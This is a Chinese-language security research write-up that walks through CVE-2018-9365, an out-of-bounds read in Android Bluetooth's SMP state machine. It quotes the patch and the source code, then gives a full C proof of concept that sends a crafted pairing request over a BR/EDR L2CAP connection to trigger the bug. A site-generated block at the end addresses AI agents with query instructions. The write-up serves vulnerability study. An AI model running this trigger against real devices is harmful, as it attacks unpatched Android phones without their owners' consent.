# 【蓝牙】CVE-2018-9365 smp\_sm\_event数组越界访问导致RCE

补丁

* <https://android.googlesource.com/platform/system/bt/+/ae94a4c333417a1829030c4d87a58ab7f1401308>

补丁描述修复了在`smp_sm_event()`里的非预期，判断了`p_cb->role`大于等于2则报错返回，我们猜测这里可能是字段`p_cb->role`可以由连接者控制

```c++
DO NOT MERGE Fix unexpected behavior in smp_sm_event

Bug: 74121126
Test: manual
Change-Id: Ie5dd841d6461ad057c4ab572007f38c5446aba53
(cherry picked from commit 652798b2f2d6c90e0fc95c00ccfb91e2870b03d4)
diff --git a/stack/smp/smp_main.cc b/stack/smp/smp_main.cc
index 829a5d4..49e2ece 100644
--- a/stack/smp/smp_main.cc
+++ b/stack/smp/smp_main.cc
@@ -18,6 +18,7 @@
 
 #include "bt_target.h"
 
+#include <cutils/log.h>
 #include <string.h>
 #include "smp_int.h"
 
@@ -954,6 +955,13 @@
   uint8_t curr_state = p_cb->state;
   tSMP_SM_TBL state_table;
   uint8_t action, entry, i;
+
+  if (p_cb->role >= 2) {
+    SMP_TRACE_DEBUG("Invalid role: %d", 1. );
+    android_errorWriteLog(0x534e4554, "74121126");
+    return;
+  }
+
   tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
 
   SMP_TRACE_EVENT("main smp_sm_event");
```

我们从头开始分析，当SMP Channel有来自L2CAP的数据时，会调用`smp_data_received()`进行数据的处理，这里我们的关注点在于`cmd`为`SMP_OPCODE_PAIRING_REQ 0x01`时的情况，当传入的是`SMP_OPCODE_PAIRING_REQ`，会调用`L2CA_GetBleConnRole()`

```c++
/*******************************************************************************
 *
 * Function         smp_data_received
 *
 * Description      This function is called when data is received from L2CAP on
 *                  SMP channel.
 *
 *
 * Returns          void
 *
 ******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  tSMP_CB* p_cb = &smp_cb;
  uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset;
  uint8_t cmd;
  SMP_TRACE_EVENT("SMDBG l2c %s", __func__);

  STREAM_TO_UINT8(cmd, p); // 取第一字节

  /* sanity check */
  if ((SMP_OPCODE_MAX < cmd) || (SMP_OPCODE_MIN > cmd)) {
    SMP_TRACE_WARNING("Ignore received command with RESERVED code 0x%02x", cmd);
    osi_free(p_buf);
    return;
  }
  
  // #define SMP_OPCODE_PAIRING_REQ 0x01
  // 当第一字节是0x01时，会进入第一个if分支
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr); //这里进行p_cb->role的赋值
      p_cb->pairing_bda = bd_addr;
    } else if (bd_addr != p_cb->pairing_bda) {
      osi_free(p_buf);
      smp_reject_unexpected_pairing_command(bd_addr);
      return;
    }
    ...
}
```

其中第二个参数类型`RawAddress`的部分实现如下，可以看到其数据以及转换的方式

```c++
static_assert(sizeof(RawAddress) == 6, "RawAddress must be 6 bytes long!");

const RawAddress RawAddress::kAny{{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}};
const RawAddress RawAddress::kEmpty{{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}};

RawAddress::RawAddress(const uint8_t (&addr)[6]) {
  std::copy(addr, addr + kLength, address);
};

std::string RawAddress::ToString() const {
  return base::StringPrintf("%02x:%02x:%02x:%02x:%02x:%02x", address[0],
                            address[1], address[2], address[3], address[4],
                            address[5]);
}
```

`L2CA_GetBleConnRole()`会先给`role`赋值为`HCI_ROLE_UNKNOWN`，这个值是`0xff`，之后进行遍历搜索，如果搜到了就将`role`赋值为`p_lcp->link_role`，如果没搜到就是初始化的值`0xff`

```c++
/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff

/*******************************************************************************
 *
 * Function         L2CA_GetBleConnRole
 *
 * Description      This function returns the connection role.
 *
 * Returns          link role.
 *
 ******************************************************************************/
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;

  tL2C_LCB* p_lcb;

  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;

  return role;
}
```

回到`smp_data_received()`，会调用到`smp_sm_event()`

```c++
/*******************************************************************************
 *
 * Function         smp_data_received
 *
 * Description      This function is called when data is received from L2CAP on
 *                  SMP channel.
 *
 *
 * Returns          void
 *
 ******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  ...
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr); // <-- 1
      p_cb->pairing_bda = bd_addr;
    } 
  ...

  if (bd_addr == p_cb->pairing_bda) {
    ...
    p_cb->rcvd_cmd_code = cmd;
    p_cb->rcvd_cmd_len = (uint8_t)p_buf->len;
    smp_sm_event(p_cb, cmd, p); // <-- 2
  }

  osi_free(p_buf);
}
```

通过查看该函数，我们可以注意到，后续会直接使用该字段作为下标对数组进行取值操作

```c++
/*******************************************************************************
 *
 * Function     smp_sm_event
 *
 * Description  Handle events to the state machine. It looks up the entry
 *              in the smp_entry_table array.
 *              If it is a valid entry, it gets the state table. Set the next
 *              state, if not NULL state. Execute the action function according
 *              to the state table. If the state returned by action function is
 *              not NULL state, adjust the new state to the returned state. If
 *              (api_evt != MAX), call callback function.
 *
 * Returns      void.
 *
 ******************************************************************************/
void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, void* p_data) {
  uint8_t curr_state = p_cb->state;
  tSMP_SM_TBL state_table;
  uint8_t action, entry, i;
  tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
  ...
```

我们通过源码找到`smp_entry_table`的定义，这个数组的长度只有2，结合前面的分析，`smp_entry_table[p_cb->role]`的取值可能是`smp_entry_table[0x00]`，`smp_entry_table[0x01]`和`smp_entry_table[0xff]`，所以这里就出现了一个越界访问的漏洞

```c++
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};
```

谷歌给这个漏洞的评级是Critical RCE，所以它是可以进行利用的

| CVE           | 参考编号       | 类型  | 严重程度     | 已更新的 AOSP 版本                      |
| ------------- | ---------- | --- | -------- | --------------------------------- |
| CVE-2018-9365 | A-74121126 | RCE | Critical | 6.0、6.0.1、7.0、7.1.1、7.1.2、8.0、8.1 |

那我们如何让`L2CA_GetBleConnRole()`返回`0xff`呢？

继续分析`L2CA_GetBleConnRole()`，关键调用`l2cu_find_lcb_by_bd_addr()`

```c++
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;

  tL2C_LCB* p_lcb;

  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;

  return role;
}
```

遍历`l2cb.lcb_pool`来搜索是否有匹配的地址，匹配有两个条件，一个是TRANSPORT匹配，另一个是地址匹配，如果TRANSPORT不匹配，就有可能出现找不到然后返回`NULL`的情况

```c++
/*******************************************************************************
 *
 * Function         l2cu_find_lcb_by_bd_addr
 *
 * Description      Look through all active LCBs for a match based on the
 *                  remote BD address.
 *
 * Returns          pointer to matched LCB, or NULL if no match
 *
 ******************************************************************************/
tL2C_LCB* l2cu_find_lcb_by_bd_addr(const RawAddress& p_bd_addr,
                                   tBT_TRANSPORT transport) {
  int xx;
  tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

  for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) {
    if ((p_lcb->in_use) && p_lcb->transport == transport &&
        (p_lcb->remote_bd_addr == p_bd_addr)) {
      return (p_lcb);
    }
  }

  /* If here, no match found */
  return (NULL);
}
```

传进来的是`BT_TRANSPORT_LE`，源码如下，所以我们可以使用`BT_TRANSPORT_BR_EDR`模式来使`l2cu_find_lcb_by_bd_addr()`返回`NULL`，从而`L2CA_GetBleConnRole()`就能返回`0xff`

```c++
#define BT_TRANSPORT_UNKNOWN		0x00
#define BT_TRANSPORT_BR_EDR		0x01
#define BT_TRANSPORT_LE			0x02
```

PoC

```c++
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define BT_CID_SMP 0x0006

/* SMP command code */
#define SMP_OPCODE_PAIRING_REQ 0x01

// 按字节读取缓冲区
#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

// 发送数据
void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);
    uint8_t *p = buffer;
    uint8_t cmd = SMP_OPCODE_PAIRING_REQ;
    *p++ = cmd;
    memcpy(p, "\xff\xff\xff\xff\xff\xff", 6);
    p += 6;
    send(sock_fd, buffer, p - buffer, 0);
}

int main(int argc ,char* argv[])
{
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2)
    {
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        // 创建socket句柄
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1)
        {
            perror("[*] socket create failed : ");
            return -1;
        }
        
        // 初始化本地地址
        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
        local_l2_addr.l2_bdaddr_type = 0;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));

        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1)
        {
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0)
        {
          perror("[*] setsockopt error");
          goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;
        remote_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) 
        {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}
```

其中`BT_CID_SMP`为`0x0006`是用于指定Channel，之所以为`0x0006`我是通过找核心找到的，大佬果然诚不我欺

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-4042c732a12216a9226c7bd51ab04cb517c97705%2FC2272AF7252BC7218461484DE19E84BE.jpg?alt=media)

给buffer加上`"\xff\xff\xff\xff\xff\xff"`这一步，还是通过查找核心里面的配对请求包格式，发现整个包是七个字节，所以这里猜测是为了补全剩余字节

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-34f3456e1d6c04b73eaed0a71dd0d2e788f03fc9%2F5CD5A9A55DE5DC81C7024EAFC24644A7.jpg?alt=media)

那么就剩最后一个问题：如何使用`BT_TRANSPORT_BR_EDR`模式呢？

关于如何使用`BR/EDR`，我查阅了一些资料

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-154e9aa1ce826375ca22c4baec922f917c7f6849%2FB1BBFB32FCCA22DBF6470DCA2DD59265.jpg?alt=media)

就在各种查阅资料的时候，我突然有了灵感，我现在不知道POC里哪里对应着`BR/EDR`模式，但是目前最有可能的就是`local_l2_addr.l2_bdaddr_type = 0;`，底层解析的时候，一定是`.l2_bdaddr_type`的形式进行取值，搜索一下BlueZ的源码

![](https://2646860265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJh2iv6UDGq4O16NDjFK8%2Fuploads%2Fgit-blob-a771a626a8e3456be4963cb3e003fc4855d4bc1e%2FC4CC3B36A81E3195F040B283D1CED95E.jpg?alt=media)

搜索`BDADDR_BREDR`，发现如下代码，所以，就是这个字段来控制`BR/EDR`，POC里设置`local_l2_addr.l2_bdaddr_type = 0;`，也就是`BDADDR_BREDR`，到此就已经可以完全理解PoC了

```c++
/* BD Address type */
#define BDADDR_BREDR           0x00
#define BDADDR_LE_PUBLIC       0x01
#define BDADDR_LE_RANDOM       0x02
```

## Reference

* <https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html>
* <https://paper.seebug.org/666/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wnagzihxa1n.gitbook.io/happy-android-security/system_security/cve20189365smpsmevent-shu-zu-yue-jie-fang-wen-dao-zhi-rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
